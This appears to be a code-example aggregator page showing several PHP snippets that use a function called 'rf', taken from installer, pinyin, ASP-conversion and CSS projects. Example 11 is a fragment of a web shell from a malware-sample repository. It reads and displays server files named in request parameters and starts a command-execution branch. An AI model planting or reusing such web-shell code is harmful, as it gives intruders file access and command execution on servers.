开发者ID:chhomreaksmey,项目名称:ispconfig_ovh_hosting,代码行数:33,代码来源:install.lib.php

示例10: rf

<?php

function rf($file)
{
    $arr = array();
    $handle = fopen($file, 'r');
    if ($handle) {
        // while ($line = fgetcsv($handle))
        while ($line = fgets($handle)) {
            $arr[] = $line;
        }
    }
    return $arr;
}
$ret = rf("pinyin.txt");
foreach ($ret as $line) {
    preg_match('/([^-]*)-*([^\\s]*)/', $line, $matches);
    echo "\"{$matches[2]}\"=>\"{$matches[1]}\",\n";
}
开发者ID:peterleezz,项目名称:test,代码行数:19,代码来源:pinyin.php

示例11: elseif

         exit;
     } elseif (isset($_REQUEST['gfils'])) {
         $pos = $HTTP_POST_VARS['cfils'];
         sqlf($pos);
     } else {
         $pos = $HTTP_POST_VARS['cfil'];
     }
     switch ($_REQUEST['getm']) {
         case '1':
             $x5 = @fopen($pos, 'rw');
             $dc = @fread($x5, @filesize($pos));
             @fclose($x5);
             echo $dc;
             break;
         case '2':
             echo rf();
             break;
         case '3':
             if (function_exists('file_get_contents')) {
                 echo @file_get_contents($pos);
             }
             break;
     }
     echo "</textarea>";
     inp('hidden', '50', 'goto', path);
     inp('hidden', '50', 'svdi', $pos, '', '<br>');
     sub('svff', 'Save', $pr = '<br>');
     break;
 case isset($_REQUEST['cmdr']):
     rs('cmdm', '141', '22', $st = 'readonly');
     $pos = $_POST['cmde'];
开发者ID:retanoj,项目名称:webshellSample,代码行数:31,代码来源:3f043fd6edd0192a61e1ab53118b86b2.php

示例12: get_template_file

 /**
  * Helper function - get the path to a template file based on
  * the local part of the filename. Checks first for the existence
  * of a distribution specific file and if not found looks in the
  * base template folder. Optionally the behaviour can be changed
  * by setting the 2nd parameter which will fetch the contents
  * of the template file and return it instead of the path. The 3rd
  * parameter further extends this behaviour by filtering the contents
  * by inserting the ispconfig database credentials using the {} placeholders.
  *
  * @param string $tLocal local part of filename
  * @param bool $tRf
  * @param bool $tDBCred
  * @return string Relative path to the chosen template file
  */
 protected function get_template_file($tLocal, $tRf = false, $tDBCred = false)
 {
     global $conf, $dist;
     $final_path = '';
     $dist_template = 'dist/tpl/' . strtolower($dist['name']) . "/{$tLocal}.master";
     if (file_exists($dist_template)) {
         $final_path = $dist_template;
     } else {
         $final_path = "tpl/{$tLocal}.master";
     }
     if (!$tRf) {
         return $final_path;
     } else {
         return !$tDBCred ? rf($final_path) : $this->insert_db_credentials(rf($final_path));
     }
 }
开发者ID:falkbizz,项目名称:ispconfig3,代码行数:31,代码来源:installer_base.lib.php

示例13: ADSqlRf

function ADSqlRf($inputName)
{
    $s = rf($inputName);
    //echo(mysql_escape_string("'-"));
    return replace(replace(replace($s, "\\", "\\\\"), "'", "\\'"), '"', '\\"');
    //更新于20160118
}
开发者ID:313801120,项目名称:AspPhpCms,代码行数:7,代码来源:ASP.php

示例14: rcol

function rcol()
{
    echo "#" . rf() . rf() . rf() . rf() . rf() . rf();
}
开发者ID:portsoc,项目名称:introphp,代码行数:4,代码来源:random.css.php

示例15: ADSqlRf

function ADSqlRf($inputName)
{
    return rf($inputName);
}
开发者ID:313801120,项目名称:AspToPhp,代码行数:4,代码来源:ASP.php


注:本文中的rf函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。